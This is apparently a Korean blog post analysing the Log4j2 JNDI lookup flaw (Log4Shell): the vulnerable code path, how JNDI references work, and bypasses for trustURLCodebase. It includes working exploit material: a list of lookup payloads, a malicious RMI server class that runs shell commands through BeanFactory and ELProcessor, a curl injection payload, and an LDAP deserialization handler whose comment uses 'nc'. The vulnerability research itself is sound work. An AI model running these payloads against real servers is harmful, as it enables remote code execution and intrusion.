이번 주말동안 log4j2에서 발견된 취약점으로 인해 난리가 났었다.
패치는 8일 전에 됐는데 아마도 해커들이 이 커밋로그 보고 페이로드 짜서 열심히 쑤시고 다닌 것 같다. 그래서 다들 급하게 버전 업데이트하고 waf룰 설정하는 것 같은데 exploit 특성상 너무 쉽게 우회가 돼서 그냥 버전을 업데이트하는 것이 중요한 것 같다.
패치는 다음과 같이 이루어졌다.
1. log4j2.formatMsgNoLookups의 기본 옵션을 true로 설정 -> 2.15.0
2. log4j message lookup 제거 -> 현재 release branch에 merge
환경에 따라 아래의 페이로드가 가능하다.
${docker:containerId}
${docker:containerName}
${docker:imageId}
${docker:imageName}
${docker:shortContainerId}
${docker:shortImageId}
${env:USER}
${env:HOST}
${mdc:UserId}
${java:version}
${java:runtime}
${java:vm}
${java:os}
${java:locale}
${java:hw}
${jndi:logging/context-name}
${k8s:accountName}
${k8s:clusterName}
${jndi:rmi://127.0.0.1:1099/exploit}
${jndi:ldap://127.0.0.1:1389/exploit}
Analysis
log4j2 2.14.0
@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
final Message message, final Throwable throwable) {
final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
if (strategy instanceof LocationAwareReliabilityStrategy) {
((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
message, throwable);
} else {
strategy.log(this, getName(), fqcn, marker, level, message, throwable);
}
}
log4j에선 logging에 org.apache.logging.log4j.core.Logger.log 메소드를 사용한다.
이 메소드 안에선 전달받은 인자를 가지고 org.apache.loging.log4j.core.config.DefaultRelianceStrategy.log를 호출한다.
@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
final StackTraceElement location, final Marker marker, final Level level, final Message data,
final Throwable t) {
loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
이 메소드도 내부에서 loggerConfig.log를 호출하게 된다.
@PerformanceSensitive("allocation")
public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
final Level level, final Message data, final Throwable t) {
// 중략
try {
log(logEvent, LoggerConfigPredicate.ALL);
} finally {
ReusableLogEventFactory.release(logEvent);
}
}
이 안에서도 log함수를 호출하는데 이대로 쭉 흐름을 따라가보면 아래의 코드를 확인할 수 있다.
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) {
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
for문으로 formatters[i].format(event, buffer);
를 여러 번 호출하는데 이 format 메소드는 아래와 같다.
public void format(final LogEvent event, final StringBuilder buf) {
if (skipFormattingInfo) {
converter.format(event, buf);
} else {
formatWithInfo(event, buf);
}
}
converter.format
메소드의 코드는 아래와 같다.
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
이 코드에서 문제가 되는 부분은 이 부분인데
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
보면 noLookups 옵션을 체크한 뒤 workinngBuilder 변수에서 ${
를 찾는 것을 볼 수 있다.
그럼 우리의 input이 asdf${jndi:ldap://127.0.0.1:1234/rce}
라면 value 변수에는 ${jndi:ldap://127.0.0.1:1234/rce}
가 들어가게 된다.
이후 이 값을 가지고 config.getStrSubstitutor().replace()
메소드를 호출한다.
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
이후 value값을 가지고 StrSubstitutor.substitue
메소드를 호출하게 되는데 코드는 아래 url에 있다.
https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java#L928
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
resolveVariable
메소드를 호출하는데 이 메소드가 최종적으로 취약점이 일어나게 한다.
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
resolveVaraible 메소드는 전달 받은 인자를 가지고 resolver.lookup
을 호출하는데 이 함수를 통해 jndi lookup 요청이 가능하고 rce가 가능하게 된다.
Jndi?
이번에 공개된 payload를 보면 우리가 흔히 보는 url은 아니다.
${jndi:ldap://127.0.0.1/aa}
jndi는 Java Naming and Directory Interface의 약자로 자바에서 제공하는 api 중 하나다. Naming 서비스와 Directory 서비스의 상호작용을 용이하게 하며 Directory 서비스를 통해 데이터나 객체를 제공받고 그것을 참조하기 위한 api로 일반적으로 아래의 목적으로 사용된다.
- Java application을 외부 디렉터리 서비스에 연결
- Java applet이 호스팅 웹 컨테이너가 제공하는 구성 정보를 참고
jndi protocol에서 제공하는 Server Provider Interface는 아래와 같다.
- LDAP
- DNS
- NIS
- NDS
- RMI
- CORBA
여기서 exploit에 주로 사용되는 spi는 ldap와 rmi다.
아무튼 이 jndi 서비스로 우리는 Java 객체를 저장하고 이를 직렬화된 형태로 서버에 제공할 수 있다.
Jndi는 동적로딩 메커니즘을 제공하는데 위의 아키텍처를 보면, 동적 로딩은 두 부분, Naming Manager와 JNDI SPI에서 발생한다.
그리고 Naming Manager 부분은 JNDI의 Naming References를 사용한다.
In order to bind Java objects in a Naming or Directory service, it is possible to use Java serialization to get the byte array representation of an object at a given state. However, it is not always possible to bind the serialized state of an object because it might be too large or it might be inadequate.
For such needs, JNDI defined Naming References (or just References from now on) so that objects could be stored in the Naming or Directory service indirectly by binding a reference that could be decoded by the Naming Manager and resolved to the original object.
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
따라서 Naming Reference에 CodeBase url을 지정한 뒤 Reference Object를 로드할 때 Remote Codebase URL을 통해 원격지에 있는 Class를 참조, 실행할 수 있다.
그럼 우린 악성 class를 만든 뒤 Reference Object의 Codebase url이 악성 class를 가리키게 한다면 임의의 코드를 서버에서 실행할 수 있게 된다.
이를 이용한 exploit 시나리오는 아래와 같다.
1. 공격자가 취약한 jndi lookup service에 rmi url을 제공한다.
2. 서버는 공격자가 제어하는 rmi registry에 연결을 시도한다.
3. rmi registry는 JNDI reference를 반환한다.
4. 서버는 JNDI reference를 디코딩하고 공격자가 제어하는 서비스에서 Factory Class를 가져온다.
5. 서버는 Factory Class를 instance화하고 공격자의 payload가 실행되게 된다.
직접 실습을 해보고 싶다면 환경을 구축하여 테스트해보면 된다.
https://github.com/christophetd/log4shell-vulnerable-app
https://drive.google.com/file/d/1dDuCJnOp_lmlhgszWY4PlgZkdXWlmcYd/view?usp=sharing
물론 이러한 공격방법은 jdk 6u211, 7u201, 8u191, and 11.0.1 이후에서 rmi와 ldap 방식에서의 trustURLCodebase 옵션이 false로 설정되며 희생자의 서버에서 우리가 생성한 class를 로드하는 것은 불가능해졌다.
Bypass
private Object decodeObject(Remote r, Name name) throws NamingException {
try {
Object obj = (r instanceof RemoteReference)
? ((RemoteReference)r).getReference()
: (Object)r;
/*
* Classes may only be loaded from an arbitrary URL codebase when
* the system property com.sun.jndi.rmi.object.trustURLCodebase
* has been set to "true".
*/
// Use reference if possible
Reference ref = null;
if (obj instanceof Reference) {
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
ref = ((Referenceable)(obj)).getReference();
}
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(obj, name, this,
environment);
} catch (NamingException e) {
throw e;
} catch (RemoteException e) {
throw (NamingException)
wrapRemoteException(e).fillInStackTrace();
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
}
decodeObject
메소드를 보면 trustURLCodebase 옵션을 체크하는 곳이 있다.
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(obj, name, this,
environment);
Naming Reference를 원격지의 서버에서 받아온 다음 Naming Reference에 참조해야하는 Factory Class의 주소가 존재한다면
trustURLCodebase의 값에 따라 다른 동작을 하게 된다.
false -> error 발생
true -> 분기문 통과
이 분기문을 통과한다면 서버는 NamingManager.getObjectInstance함수를 호출하게 되고 원격지에서 Factory Class를 받아온다음 이를 인스턴스화 하여 서버에 로드하게 된다.
최신 jdk에서 trustURLCodebase 옵션이 false로 설정되어 더이상 원격지의 악성 class를 참조하여 임의의 code를 실행하는 것이 불가능하다.
하지만 우리가 여기서 알아야하는 것은 Naming Reference의 Remote CodeBase url은 필수가 아니라는 것이다. 이건 옵션일 뿐 우리가 사용하려는 class가 이미 서버에 로드된 상태라면 원격지에서 class를 load할 필요가 없다.
rmi trustURLCodebase bypass - abuse local class as Reference Factory
최신 jdk에서 trustURLCodebase의 default 옵션이 false로 설정되며 원격지에서 class를 로드하는 것을 불가능해졌다.
하지만 여전히 우리는 javaFactory 속성에 임의의 Factory class를 지정하는 것이 가능하다.
이 클래스는 공격자가 제어하는 javax.naming.Reference
에서 실제 객체를 추출하는데 사용된다고 한다.
이때 이 클래스는 대상 경로에 존재해야하며javax.naming.spi.ObjectFactory
를 구현하고 getObjectInstance
메소드를 가지고 있어야한다.
이러한 조건을 충족하는 완벽한 클래스가 있는데 org.apache.naming.factory.BeanFactory
이다.
이 클래스는 tomcat 8에 포함된 클래스이며 Reflection을 이용하여 임의의 Bean instance를 생성하는데 사용된다.
https://github.com/apache/tomcat/blob/main/java/org/apache/naming/factory/BeanFactory.java
BeanFactory class는 임의의 Bean instance를 만든 뒤 모든 속성에 대해 setter를 호출하는데 이 생성된 instance의 class 이름, 속성, 값은 모두
공격자가 제어하는 reference object에서 온다.
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
이때 forceString속성을 사용하면 임의의 속성에 setter 메소드를 강제로 지정할 수 있다.
예로 들어 forceString 속성을 x=eval
로 정한다면 속성 x에 대해서 setX대신 evaluation이라는 이름으로 메서드 콜을 하는 것이 가능하다.
이를 이용하면 BeanFactory class를 이용하여 임의의 클래스 인스턴스를 생성하고 인자를 한 개만 가지는 다양한 메소드를 호출하는 것이 가능하다.
이제 rce를 위해 호출할 메소드를 찾아야하는데 tomcat에는 이에 사용할 수 있는 좋은 클래스가 하나 더 있다.javax.el.ELProcessor
인데 이 class는 el expression을 evaluate하기 위한 class로 역시나 기본적으로 포함되있다.
이를 이용하면 rce 공격이 가능하다.
example
https://github.com/christophetd/log4shell-vulnerable-app
위의 레포에서 code를 받은 뒤 빌드하여 spring 서비스를 구동한다.
해당 레포에서 사용하는 jdk버전은 openjdk:8u181이다. 해당 버전은 ldap를 이용한 공격은 가능하지만com.sun.jndi.rmi.object.trustURLCodebase
는 false로 설정되어 rmi에서 Remote Codebase url을 이용한 rce는 불가능하다.
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "testrce=eval"));
ref.add(new StringRefAddr("testrce", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command here']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
payload: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:rmi://your-private-ip:1097/Object}'
공격자의 서버는 org.apache.naming.ResourceRef
를 직렬화한 데이터로 응답한다.
피해자의 서버는 해당 데이터를 역직렬화하는데 단순히 역직렬화에선 아무런 악의적인 행위가 발생하지 않지만org.apache.naming.factory.BeanFactory
는 javax.naming.Reference
에 따라 객체를 희생자 서버로 로드하게 된다.
이 단계에서 template evaluate가 일어나며 임의의 코드를 실행할 수 있게 된다.
ldap trustURLCodebase bypass - unserialize attack
또한 rmi가 아닌 ldap는 다양한 java data 형식을 저장할 수 있고 서버에 이를 알려줄 수 있다.
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
한마디로 우린 ldap 서버를 통해 javaSerializedData를 제공할 수 있으며 jndi lookup 내부에서 전달받은 data를 obj.decodeObject 메소드를 이용하여 역직렬화를 시도하는데 이때 deserialization attack이 가능하다.
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
decodeObj 메소드를 보면 VersionHelper.isSerialDataAllowed()
를 통해 역직렬화가 가능한지 체크를 한 뒤 deserializeObject
메소드로 역직렬화를 시도한다. 그럼 그냥 간단하게 ysoserial 가지고 가젯 찾아서 deserialization attack하면 된다.
example
# ldap
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ..etc 'id | nc server port' | base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLn....."));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
package com.test.log4jpwn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class App {
static final Logger logger = LogManager.getLogger(App.class.getName());
public static void main(String[] args) {
port(8080);
get("/*", (req, res) -> {
// trigger
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
return "ok: ua: " + ua + " " + "pwn: " + pwn + " pth:" + pth;
});
}
}
물론 위의 bypass 방법은 이번에 log4j2가 2.15.0으로 업데이트되며 noLookup의 기본 옵션이 true로 설정되어 사용할 수 없게 되었다.
이후 업데이트에서는 lookup 기능 자체를 제거한다는데 이런 취약점이 8년 동안 있었다는게 정말 놀랍다.
Reference
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://www.veracode.com/blog/research/exploiting-jndi-injections-java